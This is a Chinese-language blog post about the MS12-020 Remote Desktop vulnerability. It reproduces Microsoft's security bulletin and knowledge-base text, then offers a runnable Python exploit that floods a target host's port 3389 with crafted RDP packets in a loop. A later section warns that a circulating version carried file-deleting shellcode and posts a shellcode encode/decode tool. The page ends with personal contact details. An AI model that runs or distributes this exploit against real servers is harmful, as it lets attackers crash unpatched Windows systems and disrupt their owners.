偶滴神呐！MS12020 exp: 远程桌面中允许远程执行代码漏洞，传说中的3389溢出真的出现了！恐怖。。。
几年前就看到有人在吵远程桌面溢出，不过神龙见首不见尾，它就是春哥一样，永远是个传说！
最近服务器频繁的出补丁，又见微软官方出来证实，传说不再是传说了，几百万的0日真的面世了。
看一下微软怎么说吧，昨天微软刚刚发布的：http://support.microsoft.com/kb/2671387
MS12-020: Vulnerabilities in Remote Desktop could allow remote code execution: March 13, 2012
INTRODUCTION
Microsoft has released security bulletin MS12-020. To view the complete security...
- Home users:
http://www.microsoft.com/security/pc-security/bulletins/201203.aspx (http://www.microsoft.com/security/pc-security/bulletins/201203.aspx)Skip the details: Download the updates for your home computer or laptop from the Microsoft Update website now:http://update.microsoft.com/microsoftupdate/ (http://update.microsoft.com/microsoftupdate/)
- IT professionals:
http://technet.microsoft.com/security/bulletin/MS12-020 (http://technet.microsoft.com/security/bulletin/MS12-020)
Back to the topHow to obtain help and support for this security update
Help protect your computer from viruses and malware:To have us fix this problem for you, go to the "Fix it for me" section.
Back to the top
Fix it for me
The fixit solution that is described in this section is not intended to be a rep...
For more information about this workaround, visit the following Microsoft Security Bulletin webpage:
- The scenarios in which you might apply or disable the workaround
- How to manually apply the workaround
To enable or disable this fixit solution, click the Fix it button or link under the Enable heading or under the Disable heading. Click Run in the File Download dialog box, and then follow the steps in the Fix it Wizard.
| Enable | Disable |
|---|---|
|
Fix this problem
Microsoft Fix it 50844 |
Fix this problem
Microsoft Fix it 50845 |
- These wizards may be in English only. However, the automatic fixes also work for other language versions of Windows.
- If you are not on the computer that has the problem, you can save the automatic fix to a flash drive or to a CD, and then you can run it on the computer that has the problem.
Back to the top
MORE INFORMATION
Known issues and additional information about this security updateThe following...
Known issues and additional information about this security update
The following articles contain additional information about this security update as it relates to individual product versions. The articles may contain known issue information. If this is the case, the known issue is listed below each article link.-
2667402 (http://support.microsoft.com/kb/2667402/ ) MS12-020: Description of the security update for Terminal Server Denial of Service Vulnerability: March 13, 2012Known issues in security update 2667402:
- When you uninstall this security update on a Windows 7-based computer that is using a RDP Listener name that is set to a custom name, the installer creates a default ghost listener together with the custom RDP listener. For more information about a workaround for this issue, see the Known issues section of the Microsoft Knowledge Base article 2667402 (http://support.microsoft.com/kb/2667402) .
-
2621440 (http://support.microsoft.com/kb/2621440/ ) MS12-020: Description of the security update for Remote Desktop Protocol Vulnerability: March 13, 2012
-
Microsoft 安全公告 MS12-020 - 严重
远程桌面中的漏洞可能允许远程执行代码 (2671387)
发布时间: 2012年3月13日
版本: 1.0
一般信息
摘要
此安全更新可解决远程桌面协议中两个秘密报告的漏洞。如果攻击者向受影响的系统发送一系列特制 RDP 数据包，则这些漏洞中较严重的漏洞可能允许远程执行代码。默认情况下，任何 Windows 操作系统都未启用远程桌面协议 (RDP)。没有启用 RDP 的系统不受威胁。
对于 Microsoft Windows 所有受支持的版本，此安全更新的等级为“严重”。有关详细信息，请参阅本节中“受影响和不受影响的软件”小节。
该安全更新通过修改远程桌面协议处理内存中数据包的方式以及 RDP 服务处理数据包的方式来解决漏洞。有关这些漏洞的详细信息，请参阅下一节“漏洞信息”下面特定漏洞条目的“常见问题 (FAQ)”小节。
建议。 大多数客户均启用了“自动更新”，他们不必采取任何操作，因为此安全更新将自动下载并安装。尚未启用“自动更新”的客户必须检查更新，并手动安装此更新。有关自动更新中特定配置选项的信息，请参阅 Microsoft 知识库文章 294871。
对于管理员、企业安装或者想要手动安装此安全更新的最终用户，Microsoft 建议客户使用更新管理软件立即应用此更新或者利用 Microsoft Update 服务检查更新。
另请参阅本公告后面部分中的“检测和部署工具及指导”一节。
已知问题。 Microsoft 知识库文章 2671387 介绍了客户在安装此安全更新时可能遇到的当前已知问题。本文还介绍了这些问题的建议解决办法。
Top of section受影响和不受影响的软件
已对下列软件进行测试，以确定受到影响的版本。其他版本的支持生命周期已结束或者不受影响。要确定软件版本的技术支持生命周期，请访问 Microsoft 技术支持生命周期。
受影响的软件
操作系统 最大安全影响 综合严重等级 此更新替代的公告 Windows XP Service Pack 3
(KB2621440)远程执行代码 严重 MS11-065 中的 KB2570222 由 KB2621440 替代 Windows XP Professional x64 Edition Service Pack 2
(KB2621440)远程执行代码 严重 MS11-065 中的 KB2570222 由 KB2621440 替代 Windows Server 2003 Service Pack 2
(KB2621440)远程执行代码 严重 MS11-065 中的 KB2570222 由 KB2621440 替代 Windows Server 2003 x64 Edition Service Pack 2
(KB2621440)远程执行代码 严重 MS11-065 中的 KB2570222 由 KB2621440 替代 Windows Server 2003 SP2（用于基于 Itanium 的系统）
(KB2621440)远程执行代码 严重 MS11-065 中的 KB2570222 由 KB2621440 替代 Windows Vista Service Pack 2
(KB2621440)远程执行代码 严重 没有公告由 KB2621440 替代 Windows Vista x64 Edition Service Pack 2
(KB2621440)远程执行代码 严重 没有公告由 KB2621440 替代 Windows Server 2008（用于 32 位系统）Service Pack 2*
(KB2621440)远程执行代码 严重 没有公告由 KB2621440 替代 Windows Server 2008（用于基于 x64 的系统）Service Pack 2*
(KB2621440)远程执行代码 严重 没有公告由 KB2621440 替代 Windows Server 2008（用于基于 Itanium 的系统）Service Pack 2
(KB2621440)远程执行代码 严重 没有公告由 KB2621440 替代 Windows 7（用于 32 位系统）和 Windows 7（用于 32 位系统）Service Pack 1
(KB2621440)
Windows 7（用于 32 位系统）和 Windows 7（用于 32 位系统）Service Pack 1
(KB2667402)远程执行代码 严重[1] 没有公告由 KB2621440 替代
没有公告由 KB2667402 替代Windows 7（用于基于 x64 的系统）和 Windows 7（用于基于 x64 的系统）Service Pack 1
(KB2621440)
Windows 7（用于基于 x64 的系统）和 Windows 7（用于基于 x64 的系统）Service Pack 1
(KB2667402)远程执行代码 严重[1] 没有公告由 KB2621440 替代
没有公告由 KB2667402 替代Windows Server 2008 R2（用于基于 x64 的系统）和 Windows Server 2008 R2（用于基于 x64 的系统）Service Pack 1*
(KB2621440)
Windows Server 2008 R2（用于基于 x64 的系统）和 Windows Server 2008 R2（用于基于 x64 的系统）Service Pack 1*
(KB2667402)远程执行代码 严重[1] 没有公告由 KB2621440 替代
没有公告由 KB2667402 替代Windows Server 2008 R2（用于基于 Itanium 的系统）和 Windows Server 2008 R2（用于基于 Itanium 的系统）Service Pack 1
(KB2621440)
Windows Server 2008 R2（用于基于 Itanium 的系统）和 Windows Server 2008 R2（用于基于 Itanium 的系统）Service Pack 1
(KB2667402)远程执行代码 严重[1] 没有公告由 KB2621440 替代
没有公告由 KB2667402 替代*服务器核心安装受到影响。此更新适用于 Windows Server 2008 或 Windows Server 2008 R2 的受支持版本，严重等级相同，无论是否使用“服务器核心”安装选项进行了安装。有关此安装选项的详细信息，请参阅 TechNet 文章管理服务器核心安装和服务服务器核心安装。注意，服务器核心安装选项不适用于 Windows Server 2008 和 Windows Server 2008 R2 的某些版本；请参阅比较服务器核心安装选项。
[1]更新程序包 KB2621440 解决 CVE-2012-0002，更新程序包 KB2667402 解决 CVE-2012-0152。如果在受影响的 Microsoft Windows 版本上，CVE-2012-0152 的严重等级低于 KB2621440，则根据 CVE-2012-0002，综合严重等级为“严重”。客户应该应用为其系统安装的 Microsoft Windows 版本提供的所有更新。
Top of section与此安全更新相关的常见问题 (FAQ)
漏洞信息
严重等级和漏洞标识符
远程桌面协议漏洞 - CVE-2012-0002
终端服务器拒绝服务漏洞 - CVE-2012-0152
更新信息
检测和部署工具及指导
安全更新部署
其他信息
鸣谢
Microsoft 感谢下列人员或组织与我们一起致力于保护客户的利益：
- Luigi Auriemma 与 TippingPoint's Zero Day Initiative 合作报告了远程桌面协议漏洞 (CVE-2012-0002)
Microsoft Active Protections Program (MAPP)
为改进客户的安全保护，Microsoft 在发布每月安全更新之前将向主要的安全软件供应商提供漏洞信息。然后，安全软件供应商可以使用该漏洞信息通过其安全软件或者设备向客户提供更新的保护，例如防病毒、基于网络的入侵检测系统或者基于主机的入侵防止系统。要确定是否可从安全软件供应商处得到活动保护，请访问计划合作伙伴（在 Microsoft Active Protections Program (MAPP) 合作伙伴中列出）提供的活动保护网站。Top of section支持
- 美国和加拿大的客户可以通过安全支持或 1-866-PCSAFETY (1-866-727-2338) 获得技术支持。有关可用支持选项的详细信息，请参阅 Microsoft 帮助和支持网站。
- 其他国家（或地区）的用户可从当地的 Microsoft 分公司获得支持。有关如何就支持问题与 Microsoft 取得联系方面的详细信息，请访问国际支持网站。
免责声明
Microsoft 知识库中的信息“按原样”提供，没有任何形式的担保。Microsoft 不作任何明示或暗示保证，包括对适销性和针对特定目的的适用性的保证。Microsoft Corporation 或其供应商不对任何损害（包括直接的、间接的、偶然的、必然的损害，商业利润损失，或特殊损害）承担任何责任，即使 Microsoft Corporation 或其供应商事先已被告知有可能发生此类损害。有些州不允许排除或限制必然或偶然损害的赔偿责任，因此上述限制可能不适用。
Top of section修订版本
- V1.0（2012 年 3 月 13 日）： 已发布公告。
再看看某黑客群里面网友发布的抓图吧！
.jpg)
exp/proc: 保存为ms12-020.py然后运行
#!/usr/bin/env python
import socket
import sys
buf=""
buf+="\x03\x00\x00\x13\x0e\xe0\x00\x00"
buf+="\x00\x00\x00\x01\x00\x08\x00\x00"
buf+="\x00\x00\x00\x03\x00\x01\xd6\x02"
buf+="\xf0\x80\x7f\x65\x82\x01\x94\x04"
buf+="\x01\x01\x04\x01\x01\x01\x01\xff"
buf+="\x30\x19\x02\x04\x00\x00\x00\x00"
buf+="\x02\x04\x00\x00\x00\x02\x02\x04"
buf+="\x00\x00\x00\x00\x02\x04\x00\x00"
buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
buf+="\xff\xff\x02\x04\x00\x00\x00\x02"
buf+="\x30\x19\x02\x04\x00\x00\x00\x01"
buf+="\x02\x04\x00\x00\x00\x01\x02\x04"
buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
buf+="\x04\x20\x02\x04\x00\x00\x00\x02"
buf+="\x30\x1c\x02\x02\xff\xff\x02\x02"
buf+="\xfc\x17\x02\x02\xff\xff\x02\x04"
buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
buf+="\x00\x00\x02\x04\x00\x00\x00\x01"
buf+="\x02\x02\xff\xff\x02\x04\x00\x00"
buf+="\x00\x02\x04\x82\x01\x33\x00\x05"
buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00"
buf+="\x08\x00\x10\x00\x01\xc0\x00\x44"
buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8"
buf+="\x00\x04\x00\x08\x00\x80\x02\xe0"
buf+="\x01\x01\xca\x03\xaa\x09\x04\x00"
buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f"
buf+="\x00\x53\x00\x54\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x04\x00\x00"
buf+="\x00\x00\x00\x00\x00\x0c\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x01\xca\x01\x00\x00\x00\x00"
buf+="\x00\x10\x00\x07\x00\x01\x00\x30"
buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf+="\x00\x30\x00\x30\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c"
buf+="\x00\x0d\x00\x00\x00\x00\x00\x00"
buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00"
buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c"
buf+="\x00\x03\x00\x00\x00\x72\x64\x70"
buf+="\x64\x72\x00\x00\x00\x00\x00\x80"
buf+="\x80\x63\x6c\x69\x70\x72\x64\x72"
buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70"
buf+="\x73\x6e\x64\x00\x00\x00\x00\x00"
buf+="\xc0\x03\x00\x00\x0c\x02\xf0\x80"
buf+="\x04\x01\x00\x01\x00\x03\x00\x00"
buf+="\x08\x02\xf0\x80\x28\x03\x00\x00"
buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03"
buf+="\xef\x03\x00\x00\x0c\x02\xf0\x80"
buf+="\x38\x00\x06\x03\xeb\x03\x00\x00"
buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03"
buf+="\xec\x03\x00\x00\x0c\x02\xf0\x80"
buf+="\x38\x00\x06\x03\xed\x03\x00\x00"
buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03"
buf+="\xee\x03\x00\x00\x0b\x06\xd0\x00"
buf+="\x00\x12\x34\x00"
HOST = sys.argv[1]
PORT = 3389
for i in range(1000):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
print "sending: %d bytes" % len(buf)
s.send(buf)
rec = s.recv(100)
print "received: %d bytes" % len(rec)
s.close()
微博上的ms12-020的exp根本就是一个恶意工具
上周,在微博上看到神刀大牛转发了ms12-020的exp,我看了代码,大部分跟poc没啥区别,多了段shellcode,我也懒得解密,就测试了,没想到悲剧了,操蛋,系统坏了,一开始以为是别的什么软件所谓,后来用手机看微博,才了解是这个exp里面带有恶意代码,这个exp整个就是个恶意工具,我把这个exp的shellcode代码解密了,可以看到删除系统文件的代码,linux和windows通杀,靠！
所以大家注意了,我自己也小心了,以后用人家的shellcode,必须解密之后看看代码,奶奶的,害我重装了一次系统,在这里,发个python写的shellcode代码加密解密工具,这样大家能看到对方加密之后的代码了,至于那个恶意的ms12-020的exp代码我就不贴了,免得有些人粗心大意,导致格盘
#!/usr/bin/python ''' This is ascii <-> shellcode encode / decoder tool programmer : gunslinger_ <yudha.gunslinger[at]gmail.com> This was written for educational purpose only. or fucking messing around... i.e how to use encode mode : -------------------------------------------------------------- gunslinger@localhost:~/shellcode$ ./shellcodeencdec.py shellcode hex encode decoder programmer : gunslinger_ what do you want to do ? encode / decode => encode Please input data : /bin shellcode => \x2f\x62\x69\x6e gunslinger@localhost:~/shellcode$ -------------------------------------------------------------- i.e how to use decode mode : "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f we know 'x68' is push, so drop it... "\x2f\x2f\x73\x68" $0x68732f2f "\x2f\x62\x69\x6e" $0x6e69622f -------------------------------------------------------------- gunslinger@localhost:~/shellcode$ ./shellcodeencdec.py shellcode hex encode decoder programmer : gunslinger_ what do you want to do ? encode / decode => decode Please input data : \x2f\x2f\x73\x68 hex => 2f2f7368 plaintext => //sh gunslinger@localhost:~/shellcode$ ./shellcodeencdec.py shellcode hex encode decoder programmer : gunslinger_ what do you want to do ? encode / decode => decode Please input data : \x2f\x62\x69\x6e hex => 2f62696e plaintext => /bin gunslinger@localhost:~/shellcode$ -------------------------------------------------------------- and we got that is "/bin//sh" warning ! this is not disassemble tool ! ''' import binascii, sys, time RED = '\033[31m' WHITE = '\033[37m' RESET = '\033[0;0m' def main(): print "shellcode hex encode decoder" print "programmer : gunslinger_ <yudha.gunslinger[at]gmail.com>" print "what do you want to do ? %sencode%s / %sdecode%s" % (RED, RESET, WHITE, RESET) q = raw_input("=> ") if q == "encode": inputtype = raw_input("Please input data : ") print "shellcode => ", for encoded in inputtype: print "\b\\x"+encoded.encode("hex"), sys.stdout.flush() time.sleep(0.5) print RESET elif q == "decode": inputtype = raw_input("Please input data : ") cleaninput = inputtype.replace("\\x","") print "hex => ",cleaninput print "plaintext => ", print "\b"+cleaninput.decode("hex") else: print "wrong answer ! your choice is %sencode%s or %sdecode%s" % (RED, RESET, WHITE, RESET) sys.exit(1) if __name__ == '__main__': main() 
QQ:147399120
QQ:147399120
QQ:147399120
E-Mail:lostlove000@163.com 电话：138-9741-0341 © Copyright( 2008-2012) Web.QhWins.Com All Rights Reserved 西宁威势电子信息服务有限公司（威势网络）版权所有，未经书面制授权，请勿随意转载！